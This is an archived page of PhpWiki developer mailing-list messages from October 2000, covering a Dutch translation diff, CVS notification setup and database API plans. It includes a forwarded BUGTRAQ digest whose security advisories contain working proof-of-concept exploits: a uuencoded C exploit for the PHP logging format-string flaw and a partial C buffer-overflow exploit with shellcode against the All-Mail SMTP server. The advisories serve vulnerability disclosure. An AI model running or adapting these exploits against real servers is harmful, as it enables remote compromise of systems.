+"POT-Creation-Date: 2000-10-20 09:42+0200\n" "PO-Revision-Date: 2000-09-30 02:23+0200\n" "Last-Translator: Jan Nieuwenhuizen <ja...@gn...>\n" "Language-Team: Dutch <nl...@li...>\n" @@ -20,57 +20,215 @@ "Date: 1998-05-26 11:26:28+0200\n" "From: <ja...@gn...>\n" -#: ../lib/config.php:158 +#: lib/config.php:158 msgid "./pgsrc" msgstr "./locale/nl/pgsrc" -#: ../lib/config.php:168 +#: lib/config.php:168 msgid "templates/browse.html" -msgstr "./locale/nl/templates/browse.html" +msgstr "locale/nl/templates/browse.html" -#: ../lib/config.php:169 +#: lib/config.php:169 msgid "templates/editpage.html" -msgstr "./locale/nl/templates/editpage.html" +msgstr "locale/nl/templates/editpage.html" -#: ../lib/config.php:170 +#: lib/config.php:170 msgid "templates/editlinks.html" -msgstr "./locale/nl/templates/editlinks.html" +msgstr "locale/nl/templates/editlinks.html" -#: ../lib/config.php:171 +#: lib/config.php:171 msgid "templates/message.html" -msgstr "./locale/nl/templates/message.html" +msgstr "locale/nl/templates/message.html" -#: ../lib/diff.php:1017 +#: lib/diff.php:675 +#, c-format +msgid "WikiDiff::apply: line count mismatch: %s != %s" +msgstr "" + +#: lib/diff.php:735 +msgid "WikiDiff::_check: failed" +msgstr "" + +#: lib/diff.php:745 +msgid "WikiDiff::_check: edit sequence is non-optimal" +msgstr "" + +#: lib/diff.php:749 +#, c-format +msgid "WikiDiff Okay: LCS = %s" +msgstr "" + +#: lib/diff.php:989 +msgid "Current page:" +msgstr "Huidige pagina:" + +#: lib/diff.php:993 lib/diff.php:1011 +#, c-format +msgid "version %s" ... [truncated message content] |
From: Steve W. <sw...@wc...> - 2000-10-20 04:58:34
|
I have created a new mailing list, php...@li.... This list will automatically mail out notification of CVS checkins when they occur. Note it is not fully configured yet, since we have to wait for a SourceForge admin to check out the Python script 'syncmail' into our CVSROOT. After that I have to modify CVSROOT/loginfo (wherever it is, one thing at a time) to automate the process. For the curious the instructions are at: http://sourceforge.net/docman/display_doc.php?docid=772&group_id=1 When the setup is complete I will send out a notice. Hopefully I will be able to finish this up tomorrow night. Subscribe at http://sourceforge.net/mail/?group_id=6121 sw ...............................ooo0000ooo................................. Hear FM quality freeform radio through the Internet: http://wcsb.org/ home page: www.wcsb.org/~swain |
From: Arno H. <aho...@in...> - 2000-10-19 22:38:31
|
I have added the ExitWiki() function to stdlib A short test with dbmlib.php reminded me of something long overdue: we have to change OpenDataBase() and CloseDataBase(). Namely: OpenDataBase() should return nothing and both should take no parameters. Reason: those two functions should just prepare the db access. Selecting wiki or archive should not be dealed with in those functions. I could go into detail why I think this change is a Good Thing, but I leave that as homework for now. It's a big change though (e.g. removing $dbi from just about everywhere). On a related note: unless somebody screams bloody murder I will relocate UpdateRecentChanges() into savepage.php. stdlib.php is big enough already, the function is only called from savepage.php, and I don't see another use for it. /Arno |
From: Steve W. <sw...@wc...> - 2000-10-19 22:21:38
|
I'll search around on SF tonight. I am also changing, wherever needed, the mail address for reporting bugs to php...@li.... Way to go, Arno! :-) sw On Fri, 20 Oct 2000, Arno Hollosi wrote: > Hi all, > > I have finally rolled in Jan's patch. > Some slight modifications were needed. > > Also, I decided to change the directory structure and put all locale stuff > into the locale/ directory - including pgsrc & templates. > > Check it out and let me know what you think. > (you need to do a cvs update -d) > > Calling all volunteers out there: start translating phpwiki into your > favourite language now! Email this list, if you intend to do it, so that no > duplicate efforts take place. > > /Arno > > p.s. I've read somewhere that it's possible to get an email for every commit > to the CVS, including filenames and commit text. I'd be interested in > something like this. Steve, can you check if this is available on SourceForge? > _______________________________________________ > Phpwiki-talk mailing list > Php...@li... > http://lists.sourceforge.net/mailman/listinfo/phpwiki-talk > ...............................ooo0000ooo................................. Hear FM quality freeform radio through the Internet: http://wcsb.org/ home page: www.wcsb.org/~swain |
From: Arno H. <aho...@in...> - 2000-10-19 21:57:16
|
Hi all, I have finally rolled in Jan's patch. Some slight modifications were needed. Also, I decided to change the directory structure and put all locale stuff into the locale/ directory - including pgsrc & templates. Check it out and let me know what you think. (you need to do a cvs update -d) Calling all volunteers out there: start translating phpwiki into your favourite language now! Email this list, if you intend to do it, so that no duplicate efforts take place. /Arno p.s. I've read somewhere that it's possible to get an email for every commit to the CVS, including filenames and commit text. I'd be interested in something like this. Steve, can you check if this is available on SourceForge? |
From: Steve W. <sw...@wc...> - 2000-10-13 19:04:35
|
On Fri, 13 Oct 2000, Arno Hollosi wrote: > btw, I'd like to hear your opinion on the internationalization issue and what > you think about WikiExit(). Oh, I didn't think I needed to voice a say on WikiExit();. It's a good idea. I havent' gotten around to the internationalization reply, but your recommendation was my favorite approach (separate template files). I generally prefer simple solutions to complex ones, and the thing that bothers me about this approach is creating so much duplication. On the other hand, I think PhpWiki might be feature-complete within a year or so, and at that point the templates and default pages won't need to change much, if ever. sw ...............................ooo0000ooo................................. Hear FM quality freeform radio through the Internet: http://wcsb.org/ home page: www.wcsb.org/~swain |
From: Arno H. <aho...@in...> - 2000-10-13 16:42:28
|
Steve, > This BUGTRAQ digest contains information on a remote exploit for web > servers running PHP. You should read it and verify your system is not > vulnerable. thanks for letting us know, but please forward only the relevant portion next time. Btw, a IMHO more serious attack against PHP was discovered in September: php file upload vulnerability - see http://www.securityfocus.com/archive/1/80106 Quoted from there: > [Impact] > 1. File disclosure > 2. (1) will often lead to disclosure of PHP code > 3. (2) will often lead to disclosure of database authentication data > 4. (3) may lead to machine compromise Everyone has secured their DBs against remote access, so there's nothing to worry about, right? btw, I'd like to hear your opinion on the internationalization issue and what you think about WikiExit(). /Arno |
From: Steve W. <sw...@wc...> - 2000-10-13 14:23:05
|
This BUGTRAQ digest contains information on a remote exploit for web servers running PHP. You should read it and verify your system is not vulnerable. sw ...............................ooo0000ooo................................. Hear FM quality freeform radio through the Internet: http://wcsb.org/ home page: www.wcsb.org/~swain ---------- Forwarded message ---------- Date: Fri, 13 Oct 2000 00:00:25 -0700 From: Automatic digest processor <LIS...@LI...> Reply-To: Bugtraq List <BU...@SE...> To: Recipients of BUGTRAQ digests <BU...@LI...> Subject: BUGTRAQ Digest - 11 Oct 2000 to 12 Oct 2000 (#2000-231) There are 11 messages totalling 1355 lines in this issue. Topics of the day: 1. Shred v1.0 Fix 2. MDKSA-2000:057 - openssh update 3. Security Bulletins Digest 4. @stake Advisory: PHP3/PHP4 Logging Format String Vulnerability (A 101200-1) 5. Buggy ARP handling in Windoze 6. @stake Advisory: All-Mail buffer overrun vulnerability (A101200-2 ) 7. Shred 1.0 Bug Report (2) 8. GPG 1.0.3 doesn't detect modifications to files with multiple signatures 9. solaris8 dtmail 10. Netscape Messaging server 4.15 poor error strings ---------------------------------------------------------------------- Date: Thu, 12 Oct 2000 22:30:56 +0900 From: Chiaki Ishikawa <Chi...@PE...> Subject: Re: Shred v1.0 Fix X-PMC-CI-e-mail-id: 13785 Hi, Looking at the fix, I have some comments. Shouldn't we check - the return value of fwrite() [Yes, I am paranoia.], - the return value of unlink() [ ditto ] - the return value of fopen in filesize(), (Since we call filesize() from overwrite() in which fopen() for the file in question is done anyway, we might check the filesize in overwrite() AFTER obtaining the fopen() without requiring filesize() to fopen/fclose. Or we just pass the fp instead of the filename...) Should we not - abort if fstat() in filesize somehow failed [something is really screwed up if so.] - warn the user just in case the remaining link count will NOT be zero and the overwritten file is still referenced somehow under a different name. Just a thought. -- Ishikawa, Chiaki ish...@pe...Spam or (family name, given name) Chi...@pe...Spam Personal Media Corp. ** Remove .NoSpam at the end before use ** Shinagawa, Tokyo, Japan 142-0051 ------------------------------ Date: Thu, 12 Oct 2000 15:58:41 +0200 From: Markus Friedl <mar...@IN...> Subject: Re: MDKSA-2000:057 - openssh update hello, this makes no sense at all. the problem is about 'defects' in scp/rcp, and has nothing to do with /usr/bin/ssh having sbits turned off or not. this advisory is wrong, and missleading at its best. -markus (@openssh.com) On Tue, Oct 10, 2000 at 11:51:16AM -0600, Linux Mandrake Security Team wrote: > ________________________________________________________________________ > > Package name: openssh > Date: October 10th, 2000 > Advisory ID: MDKSA-2000:057 > > Affected versions: 7.0, 7.1 > ________________________________________________________________________ > > Problem Description: > > A problem exists with openssh's scp program. If a user uses scp to > move files from a server that has been compromised, the operation can > be used to replace arbitrary files on the user's system. The problem > is made more serious by setuid versions of ssh which allow overwriting > any file on the local user's system. If the ssh program is not setuid > or is setuid to someone other than root, the intrustion is limited to > files with write access granted to the owner of the ssh program. In > either case, files can be overwritten with code allowing others access > to the system unexpectedly. While no fix has been provided for openssh > as of yet, the versions of openssh available for Linux-Mandrake 7.0 and > 7.1 were setuid root. This update removes the setuid bit from the ssh > program and limits the exploitability of scp somewhat. All users of > Linux-Mandrake are encouraged to upgrade to these latest openssh > builds. Linux-Mandrake 7.0 users will also need to upgrade openssl in > order to use the 7.0 update of openssh. > ________________________________________________________________________ ------------------------------ Date: Thu, 12 Oct 2000 14:11:10 +0200 From: "Oonk, Patrick" <pa...@PI...> Subject: Security Bulletins Digest HP Support Information Digests =============================================================================== o IT Resource Center World Wide Web Service --------------------------------------------------- If you subscribed through the IT Resource Center and would like to be REMOVED from this mailing list, access the IT Resource Center on the World Wide Web at: http://us.itrc.hp.com/ Login using your IT Resource Center User ID and Password. Then select Support Information Digests (located under Maintenance and Support). You may then unsubscribe from the appropriate digest. =============================================================================== Digest Name: Daily Security Bulletins Digest Created: Thu Oct 12 3:00:02 PDT 2000 Table of Contents: Document ID Title --------------- ----------- HPSBUX0010-124 Sec. Vulnerability in VVOS NSAPI The documents are listed below. ------------------------------------------------------------------------------- Document ID: HPSBUX0010-124 Date Loaded: 20001011 Title: Sec. Vulnerability in VVOS NSAPI ------------------------------------------------------------------------- HEWLETT-PACKARD COMPANY SECURITY BULLETIN: #0124, 12 Oct. '00 ------------------------------------------------------------------------- The information in the following Security Bulletin should be acted upon as soon as possible. Hewlett-Packard Company will not be liable for any consequences to any customer resulting from customer's failure to fully implement instructions in this Security Bulletin as soon as possible. ------------------------------------------------------------------------- PROBLEM: The NSAPI plugin versions of the TGA and the Java Servlet proxy demonstrate high CPU utilization under certain conditions. PLATFORM: HP9000 Series 7/800 running HP-UX 10.24 and 11.04 (VVOS) with VirtualVault (US/Canada or International). DAMAGE: Potential denial of services. SOLUTION: Apply the appropriate patch: HP-UX release 10.24: PHSS_22187 HP-UX release 11.04: PHSS_22296 AVAILABILITY: The patches are currently available. ------------------------------------------------------------------------- I. A. Background The NSAPI plugin versions of the TGA and the Java Servlet proxy demonstrate high CPU utilization under certain conditions. when running under the VirtualVault Operating System (VVOS). B. Fixing the problem This problem can be eliminated by installing one of the following patches. Under HP-UX 10.24, with VirtualVault A.03.50 (both US/Canada and International): PHSS_22187 Under HP-UX 11.04, with VirtualVault A.04.00 (both US/Canada and International): PHSS_22296 C. To subscribe to automatically receive future NEW HP Security Bulletins from the HP IT Resource Center via electronic mail, do the following: Use your browser to get to the HP IT Resource Center page at: http://us-support.external.hp.com (for US, Canada, Asia-Pacific, & Latin-America) http://europe-support.external.hp.com (for Europe) Under the Maintenance and Support Menu (Electronic Support Center): click on the "more..." link. Then - To -subscribe- to future HP Security Bulletins, or To -review- bulletins already released click on "Support Information Digests" near the bottom of the page, under "Notifications". Login with your user ID and password (or register for one). (Remember to save the User ID assigned to you, and your password). On the "Support Information Digest Main" page: click on the "HP Security Bulletin Archive". Once in the archive the third link is to our current Security Patch Matrix. Updated daily, this matrix categorizes security patches by platform/OS release, and by bulletin topic. The security patch matrix is also available via anonymous ftp: ftp.itrc.hp.com ~ftp/export/patches/hp-ux_patch_matrix D. To report new security vulnerabilities, send email to sec...@hp... Please encrypt any exploit information using the security-alert PGP key, available from your local key server, or by sending a message with a -subject- (not body) of 'get key' (no quotes) to sec...@hp.... Permission is granted for copying and circulating this bulletin to Hewlett-Packard (HP) customers (or the Internet community) for the purpose of alerting them to problems, if and only if, the bulletin is not edited or changed in any way, is attributed to HP, and provided such reproduction and/or distribution is performed for non-commercial purposes. Any other use of this information is prohibited. HP is not liable for any misuse of this information by any third party. _________________________________________________________________________ -----End of Document ID: HPSBUX0010-124-------------------------------------- ------------------------------ Date: Thu, 12 Oct 2000 10:04:32 -0400 From: "@stake Advisories" <adv...@AT...> Subject: @stake Advisory: PHP3/PHP4 Logging Format String Vulnerability (A 101200-1) -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 We contacted the PHP team on 10/3/2000 concerning this problem. We = wanted to hold off releasing our advisory until a fix was available for PHP3 since some users may not be able to easily upgrade to PHP4. Fixes for PHP3 and PHP4 are now available. We are aware that Jouko Pynn=F6nen <jo...@so...> found this problem independantly but chose to = release before the PHP3 fix was available. Weld Pond @stake, Inc. www.atstake.com =20 Security Advisory Advisory Name: PHP3/PHP4 Logging Format String Vulnerability Release Date: 10/12/2000 Application: PHP3 and PHP4 Platform: All platforms Severity: Attacker can remotely compromise PHP3 enabled = webservers, and most likely PHP4 enabled webservers Author: DilDog [di...@at...] Vendor Status: Fix for PHP3 and PHP4 available Web: www.atstake.com/research/advisories/2000/a101200-1.txt Executive Summary PHP versions 3 and 4 are vulnerabled to format string attacks in their logging functions. This can lead to remote takeover of PHP = enabled webservers that have logging enabled. Overview PHP versions 3 and 4 employ a set of logging functions that, through an improper use of 'syslog()' and 'vsnprintf()', render it vulnerable to attack. The attacker could utilize this vulnerability to remotely compromise any PHP enabled webserver that has logging to = either syslog or to a file enabled in the 'php.ini' configuration file. This particular attack does not affect PHP installations that do not log PHP errors and warnings. Detailed Description PHP versions 3 and 4 utilize the following functions: main/php_syslog.h: #define php_syslog syslog main/main.c: void php_log_err(char *log_message) { ... =20 php_syslog(LOG_NOTICE, log_message) ... fprintf(log_file, "[%s] ", error_time_str); fprintf(log_file, log_message); fprintf(log_file, "\n"); ... } Hence, if the "log_message" contains any user input at all, then it creates a vulnerability. An exploitable condition is presented in = the following code for PHP 3, since 'php3_error' calls down to php_log_err = if logging is enabled: main/main.c: PHPAPI void php3_error(int type, const char *format,...) { ... char log_buffer[1024]; snprintf(log_buffer, 1024, "PHP 3 %s: %s in %s on line = %d", error_type_str, buffer, filename, = php3_get_lineno(GLOBAL(current_lineno))); php3_log_err(log_buffer); ... } functions/post.c: static char *php3_getpost(pval *http_post_vars) { ... php3_error(E_WARNING, "File Upload Error: No MIME boundary found"); php3_error(E_WARNING, "There should have been a \"boundary=3D3Dsomething\" in the Content-Type string"); php3_error(E_WARNING, "The Content-Type string was: \"%s\"", ctype); ... } PHP4 looks vulnerable as well, but in a different place. When a file is uploaded via a post operation, if the file name contains format string exploit code, and the file size is larger than the maximum file size for uploads, the following code is executed. Note that this = possible problem has not been tested by @stake, but the code path looks problematic: static void php_mime_split(char *buf, int cnt, char *boundary, zval *array_ptr) { ... php_error(E_WARNING, "Max file size exceeded - file [%s] not saved", namebuf); ... } Temporary Solution Turn off logging on PHP3 and PHP4 by going into your 'php.ini' file and changing the following settings to: log_errors =3D Off Vendor Response A fixed version of PHP4 is available: http://www.php.net/do_download.php?download_file=3Dphp-4.0.3.tar.gz =20 A fixed version of PHP3 is available: http://www.php.net/distributions/php-3.0.17.tar.gz Proof-of-Concept Code This proof of concept code creates a zero length file in /tmp/BADPHP. Use like this: gcc badphp.c && ./a.out <ip address of webserver> <port of webserver>=20 <php file path> (php file path must point to an existing php file, such as /foo.php3) begin 644 badphp.c M(VEN8VQU9&4\<W1D:6\N:#X*(VEN8VQU9&4\<WES+W1Y<&5S+F@^"B-I;F-L M=3D61E/'-Y<R]S;V-K970N:#X*(VEN8VQU9&4\;F5T:6YE=3D"]I;BYH/@HC:6YC M;'5D93QA<G!A+VEN970N:#X*(VEN8VQU9&4\;F5T9&(N:#X*"B-D969I;F4@ M0E-)6D4@,34T.0HC9&5F:6YE($)51D9%4EI/3D4@,3(X"@II;G0@;6%I;BAI M;G0@87)G8RP@8VAA<B`J87)G=3DEM=3D*0I["B`@:6YT(&DL<W1A<G0L8V]U;G0[ M"B`@:6YT('-T86-K;&]C/3!X0D9&1D1!-C`["B`@:6YT(',["B`@1DE,12`J M9CL*("!F9%]S970@<F9D<SL*("!S=3D')U8W0@:&]S=3D&5N=3D"`J:&4["B`@<W1R M=3D6-T('-O8VMA9&1R7VEN('-A9&1R.PH@(&-H87(@<W!L;VET6T)325I%73L* M("!C:&%R(&9I;&5;73TB+W1M<"]"04102%`B.PH@(&-H87(@8SL*"B`@:68H M87)G8R$]-2D@>PH@("`@<')I;G1F*"(E<R`\861D<CX@/'!O<G0^(#QO9F9S M970^(#QP:'`@9FEL92!N86UE/EQN(BQA<F=3DV6S!=3D*3L*("`@('!R:6YT9B@B M;V9F<V5T/3`@9F]R(&UO<W0@<WES=3D&5M<RY<;B(I.R`*("`@(')E=3D'5R;B`P M.PH@('T*"B`@+RHJ*B!B=3D6EL9"!E>'!L;VET('-T<FEN9R`J*BHO"B`@"B`@ M+RH@=3DW)I=3D&4@8F%D(&9O<FUA=3D"!S=3D')I;F<L(&%D9&EN9R!I;B!O9F9S970@ M*B\*("!S;G!R:6YT9BAS<&QO:70L<VEZ96]F*'-P;&]I=3D"DL"@D@("`B0V]N M=3D&5N=3D"U4>7!E.FUU;'1I<&%R=3D"]F;W)M+61A=3D&$@)24E=3D5@E)5@E)5@E)6AN M(BP*"2`@(#4U.#$W("\J*V]F9G-E=3D#`L,2PR+#,J+R`I.PH*("`O*B!F:6QL M('=3DI=3D&@@8G)E86MP;VEN=3D',@86YD(&YO<',J+PH@('-T87)T/7-T<FQE;BAS M<&QO:70I.PH@(&UE;7-E=3D"AS<&QO:70K<W1A<G0L,'A#0RQ"4TE:12US=3D&%R M=3D"D["B`@;65M<V5T*'-P;&]I=3D"MS=3D&%R=3D"M"549&15):3TY%*C0L,'@Y,"Q" M549&15):3TY%*C0I.PH@('-P;&]I=3D%M"4TE:12TQ73TP.PH@(`H@("\J('!O M:6YT97(@=3D&\@<W1A<G0@;V8@8V]D92`H<W1A8VML;V,K-"D@*B\*("!C;W5N M=3D#U"549&15):3TY%.PH@(&9O<BAI/3`[:3QC;W5N=3D#MI*RLI('L*("`@('5N M<VEG;F5D(&EN=3D"!V86QU93US=3D&%C:VQO8RLT*RAC;W5N=3D"HT*3L*("`@(&EF M*"AV86QU928P>#`P,#`P,$9&*3T],"D@=3DF%L=3D65\/3!X,#`P,#`P,#0["B`@ M("!I9B@H=3DF%L=3D64F,'@P,#`P1D8P,"D]/3`I('9A;'5E?#TP>#`P,#`P-#`P M.PH@("`@:68H*'9A;'5E)C!X,#!&1C`P,#`I/3TP*2!V86QU97P],'@P,#`T M,#`P,#L*("`@(&EF*"AV86QU928P>$9&,#`P,#`P*3T],"D@=3DF%L=3D65\/3!X M,#0P,#`P,#`["B`@("`J*'5N<VEG;F5D(&EN=3D"`J*28H<W!L;VET6W-T87)T M*VDJ-%TI/79A;'5E.PH@('T*("!S=3D&%R=3D"L]0E5&1D526D].12HT*C(["@H@ M("\J*BH@8G5I;&0@<VAE;&QC;V1E("HJ*B\*"B`@<W!L;VET6W-T87)T*S!=3D M/3!X.3`[("\J(&YO<"`J+PH@(`H@('-P;&]I=3D%MS=3D&%R=3D"LQ73TP>$)!.R`O M*B!M;W8@961X+"`H;F]T(#!X,4(V("AA*W)W*2D@*B\*("!S<&QO:71;<W1A M<G0K,ET],'@T.3L*("!S<&QO:71;<W1A<G0K,UT],'A&13L*("!S<&QO:71; M<W1A<G0K-%T],'A&1CL*("!S<&QO:71;<W1A<G0K-5T],'A&1CL*"B`@<W!L M;VET6W-T87)T*S9=3D/3!X1C<[("\J(&YO=3D"!E9'@@*B\*("!S<&QO:71;<W1A M<G0K-UT],'A$,CL*"B`@<W!L;VET6W-T87)T*SA=3D/3!X0CD[("\J(&UO=3DB!E M8W@L("AN;W0@,'@T,"`H3U]#4D5!5"DI("HO"B`@<W!L;VET6W-T87)T*SE=3D M/3!X0D8["B`@<W!L;VET6W-T87)T*S$P73TP>$9&.PH@('-P;&]I=3D%MS=3D&%R M=3D"LQ,5T],'A&1CL*("!S<&QO:71;<W1A<G0K,3)=3D/3!X1D8["B`@"B`@<W!L M;VET6W-T87)T*S$S73TP>$8W.R`O*B!N;W0@96-X("HO"B`@<W!L;VET6W-T M87)T*S$T73TP>$0Q.PH@(`H@('-P;&]I=3D%MS=3D&%R=3D"LQ-5T],'A%.#L@+RH@ M8V%L;"!E:7`K-"`K(&EN8R!E87@@*&]V97)L87!P:6YG*2`J+PH@('-P;&]I M=3D%MS=3D&%R=3D"LQ-ET],'A&1CL@"B`@<W!L;VET6W-T87)T*S$W73TP>$9&.R`* M("!S<&QO:71;<W1A<G0K,3A=3D/3!X1D8[(`H@('-P;&]I=3D%MS=3D&%R=3D"LQ.5T] M,'A&1CL@"B`@<W!L;VET6W-T87)T*S(P73TP>$,P.PH@('-P;&]I=3D%MS=3D&%R M=3D"LR,5T],'@U0CL@+RH@<&]P(&5B>"`J+PH@('-P;&]I=3D%MS=3D&%R=3D"LR,ET] M,'@V03L@+RH@<'5S:"`R,B`H;V9F<V5T('1O(&5N9"!O9B!S<&QO:70@*&9I M;&5N86UE*2D@*B\*("!S<&QO:71;<W1A<G0K,C-=3D/3!X,38["B`@<W!L;VET M6W-T87)T*S(T73TP>#4X.R`O*B!P;W`@96%X("HO"B`@<W!L;VET6W-T87)T M*S(U73TP>#`S.R`O*B!A9&0@96)X+&5A>"`J+PH@('-P;&]I=3D%MS=3D&%R=3D"LR M-ET],'A$.#L*("`*("!S<&QO:71;<W1A<G0K,C=3D=3D/3!X,S,[("\J('AO<B!E M87@L96%X("HO"B`@<W!L;VET6W-T87)T*S(X73TP>$,P.PH*("!S<&QO:71; M<W1A<G0K,CE=3D/3!X.#@[("\J(&UO=3DB!B>71E('!T<B!;96)X*S$Q72QA;"`J M+PH@('-P;&]I=3D%MS=3D&%R=3D"LS,%T],'@T,SL*("!S<&QO:71;<W1A<G0K,S%=3D M/3!X,$(["B`*("!S<&QO:71;<W1A<G0K,S)=3D/3!X.#,[("\J(&%D9"!E87@L M-2`J+PH@('-P;&]I=3D%MS=3D&%R=3D"LS,UT],'A#,#L*("!S<&QO:71;<W1A<G0K M,S1=3D/3!X,#4["@H@('-P;&]I=3D%MS=3D&%R=3D"LS-5T],'A#1#L@+RH@:6YT(#@P M("AO<&5N*2`J+PH@('-P;&]I=3D%MS=3D&%R=3D"LS-ET],'@X,#L*"B`@<W!L;VET M6W-T87)T*S,W73TP>#,S.R`O*B!X;W(@96%X+&5A>"`J+PH@('-P;&]I=3D%MS M=3D&%R=3D"LS.%T],'A#,#L*(`H@('-P;&]I=3D%MS=3D&%R=3D"LS.5T],'@T,#L@+RH@ M:6YC(&5A>"`J+PH@(`H@('-P;&]I=3D%MS=3D&%R=3D"LT,%T],'A#1#L@+RH@:6YT M(#@P("A?97AI=3D"D@*B\*("!S<&QO:71;<W1A<G0K-#%=3D/3!X.#`["B`@"B`@ M+RH@861D(&9I;&5N86UE('1O('1O=3D6-H("HO"B`@<W1R;F-P>2@F<W!L;VET M6W-T87)T*S0R72QF:6QE+'-T<FQE;BAF:6QE*2D["@H@("\J*BH@<V5N9"!E M>'!L;VET('-T<FEN9R`J*BHO"B`*("`O*B!C<F5A=3D&4@<V]C:V5T("HO"B`@ M<SUS;V-K970H4$9?24Y%5"Q33T-+7U-44D5!32Q)4%!23U1/7U1#4"D["B`@=20 M:68H<SPP*2!["B`@("!P<FEN=3D&8H(F-O=3D6QD;B=3DT(&-R96%T92!S;V-K970N M7&XB*3L*("`@(')E=3D'5R;B`P.PH@('T@"B`*("`O*B!C;VYN96-T('1O('!O M<G0@*B\*("!M96US970H)G-A9&1R+#`L<VEZ96]F*'-A9&1R*2D["B`@<V%D M9'(N<VEN7V9A;6EL>3U!1E])3D54.PH@('-A9&1R+G-I;E]P;W)T/6AT;VYS M*&%T;VDH87)G=3DELR72DI.PH@(&AE/6=3DE=3D&AO<W1B>6YA;64H87)G=3DELQ72D[ M"B`@:68H:&4]/4Y53$PI('L*("`@('!R:6YT9B@B:6YV86QI9"!H;W-T;F%M M92Y<;B(I.PH@('T*("!M96UC<'DH)BAS861D<BYS:6Y?861D<BYS7V%D9'(I M+&AE+3YH7V%D9')?;&ES=3D%LP72QS:7IE;V8H<W1R=3D6-T(&EN7V%D9'(I*3L* M"B`@:68H8V]N;F5C=3D"AS+"AS=3D')U8W0@<V]C:V%D9'(@*BDF<V%D9'(L<VEZ M96]F*'-A9&1R*2DA/3`I('L*("`@('!R:6YT9B@B8V]U;&1N)W0@8V]N;F5C M=3D"Y<;B(I.PH@("`@<F5T=3D7)N(#`["B`@?0H@(`H@("\J(&9D;W!E;B!T:&4@ M<V]C:V5T('1O('5S92!S=3D')E86T@9G5N8W1I;VYS("HO"B`@9CUF9&]P96XH M<RPB=3DR(I.PH@(&EF*&8]/4Y53$PI('L*("`@(&-L;W-E*',I.PH@("`@<')I M;G1F*")C;W5L9&XG=3D"!F9&]P96X@<V]C:V5T+EQN(BD["B`@("!R971U<FX@ M,#L*("!]"@H@("\J('!U=3D"!T:&4@<&]S=3D"!R97%U97-T('1O('1H92!S;V-K M970@*B\*("!F<')I;G1F*&8L(E!/4U0@)7,@2%144"\Q+C!<;B(L87)G=3DELT M72D["B`@9G!U=3D',H<W!L;VET+&8I.PH@(&9P=3D71C*"=3D<;B<L9BD["B`@9G!U M=3D&,H)UQN)RQF*3L*("!F9FQU<V@H9BD["@H@("\J(&-L;W-E('1H92!S;V-K M970@*B\*("!F8VQO<V4H9BD["B`@8VQO<V4H<RD["@H@(')E=3D'5R;B`P.PI] ("@H*"@H*"@H` ` end =20 For more advisories: http://www.atstake.com/research/advisories/ PGP Key: http://www.atstake.com/research/pgp_key.asc Copyright 2000 @stake, Inc. All rights reserved. -----BEGIN PGP SIGNATURE----- Version: PGP 7.0 iQA/AwUBOeXDs1ESXwDtLdMhEQKhfQCg9vH3t5G8VsJfm87jcfFd1+wUwSUAoPK0 Nuo1xrPafrB4/ktOyIvMJzzf =3DURKs -----END PGP SIGNATURE----- ------------------------------ Date: Tue, 10 Oct 2000 20:03:41 +0200 From: "Woch, Wojtek" <ww...@CP...> Subject: Re: Buggy ARP handling in Windoze Paul Starzetz wrote: > I discovered a strange bug in the ARP handling under Windows 98/latest > Winsock patch (IGMP). Win98 (at almost Win95 as far as tested) would not > handle static ARP entries correctly. Setting up an static ARP cache Testing on NT 4.0 with SP6a shows that it behaves the same, although the spoofed machine complains in its event log with a Tcpip event #4199 and an application popup #26 (IP address conflict). It appears also that as long as the IP address is in the ARP cache, it's MAC address can be overwritten - even if the entry is flagged as dynamic. But as Yuri Volobuev noted in his post "Redir games with ARP and ICMP", you would need to inject ARP packets continously in this case. cf http://www.securityfocus.com/templates/archive.pike?start=2000-10-08&list=1&end=2000-10-14&tid=7665&threads=0& ------------------------------ Date: Thu, 12 Oct 2000 12:07:28 -0400 From: "@stake Advisories" <adv...@AT...> Subject: @stake Advisory: All-Mail buffer overrun vulnerability (A101200-2 ) The signature was botched on the first one. Please use this is possible. -weld -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 @stake Inc. www.atstake.com Security Advisory Advisory Name: All-Mail buffer overrun vulnerability Release Date: 10/12/2000 Application: Nevis Systems All-Mail 1.1 Platform: Windows NT 4.0 / 2000 Severity: There are several buffer overflow conditions that could result in execution of arbitrary code or a denial of service. Authors: David Litchfield [dli...@at...] Vendor Status: Vendor alerted - details bellow. Web: www.atstake.com/research/advisories/2000/a101200-2.txt Overview: Nevis System's All-Mail (http://www.n-systems.com/) is a personal and small office mail server written for the Windows platform. There are various buffer overrun vulnerabilities in this server that can allow a remote attacker to gain complete control of the server's execution and execute arbitrary computer code. There are a several methods that can be used to overflow various static buffers in the SMTP component of the server for examples having an overly long "mail from" or "rcpt to" command. Proof of Concept The following code will connect to TCP port 25 on the remote system and then cause the overflow. The code executed here simply spawns a shell, performs a directory listing and pipes the output to a file called "allmail_orun.txt" on the target system. This will allow users to check if their mail server is vulnerable by testing for the file. Cut --------8<---------------------- #include <windows.h> #include <winsock.h> #include <string.h> #include <stdio.h> struct sockaddr_in sa; struct hostent *he; SOCKET sock; char hostname[256]=""; int main(int argc, char *argv[]) { int chk=0,count=0; char buffer[500]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPP PQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ11112222333344445555666677778888999 90000aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrr rssssttttuuuuvvvvwwwwxxxxyy"; if(argc == 1) { printf("\n\tUsage: C:\\>%s host\n\tTests for All-Mail buffer overflow\n\tDavid Litchfield 10th October 2000\n\n",argv[0]); return 0; } strncpy(hostname,argv[1],250); // Overwrite the saved return address with 0x77F32836 // This address contains a JMP ESP instruction that // when executed will land us back in our buffer buffer[242]=0x36; buffer[243]=0x28; buffer[244]=0xF3; buffer[245]=0x77; count = 246; // This part of the buffer gets zapped - just put NOPs in buffer[count++]=0x90; buffer[count++]=0x90; buffer[count++]=0x90; buffer[count++]=0x90; buffer[count++]=0x90; buffer[count++]=0x90; buffer[count++]=0x90; buffer[count++]=0x90; buffer[count++]=0x90; // This is where our code starts in earnest // mov esp,ebp buffer[count++]=0x8B; buffer[count++]=0xEC; // With our stack perserved and our code safe we continue // mov ebx,esp buffer[count++]=0x8B; buffer[count++]=0xDC; // mov eax,77F1A986h buffer[count++]=0xB8; buffer[count++]=0x86; buffer[count++]=0xA9; buffer[count++]=0xF1; buffer[count++]=0x77; // xor esi,esi buffer[count++]=0x33; buffer[count++]=0xF6; // push esi buffer[count++]=0x56; // mov ecx, 0xFFFFFFFF 